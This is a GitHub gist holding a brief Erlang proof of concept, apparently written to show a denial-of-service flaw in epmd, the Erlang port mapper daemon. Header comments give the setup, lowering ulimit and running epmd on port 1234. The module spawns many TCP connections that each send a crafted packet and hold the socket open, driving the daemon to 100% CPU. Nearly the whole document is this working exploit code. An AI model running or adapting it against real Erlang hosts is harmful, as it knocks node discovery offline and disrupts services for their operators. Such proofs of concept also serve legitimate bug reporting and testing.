Created
March 21, 2010 00:14
-
-
Save msantos/338996 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%%% Cause epmd to use 100% CPU | |
%%% | |
%%% ulimit -n 16 | |
%%% epmd -d -p 1234 | |
%%% | |
%%% $ erl | |
%%% emfile:start(1234,32). | |
%%% | |
-module(emfile). | |
-compile(export_all). | |
start(Port,N) -> | |
crypto:start(), | |
loop(Port,N). | |
loop(_,0) -> ok; | |
loop(Port, N) -> | |
spawn(?MODULE, connect, [Port]), | |
loop(Port, N-1). | |
connect(Port) -> | |
Packet = list_to_binary([<<0,17,120,217,54,77,0,0,5,0,5,0,4>>, | |
crypto:rand_bytes(4), | |
<<0,0>>]), | |
{ok, Socket} = gen_tcp:connect({127,0,0,1}, Port, [ | |
{packet,0}, | |
binary | |
]), | |
ok = gen_tcp:send(Socket, Packet), | |
wait(). | |
wait() -> | |
receive _ -> wait() end. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment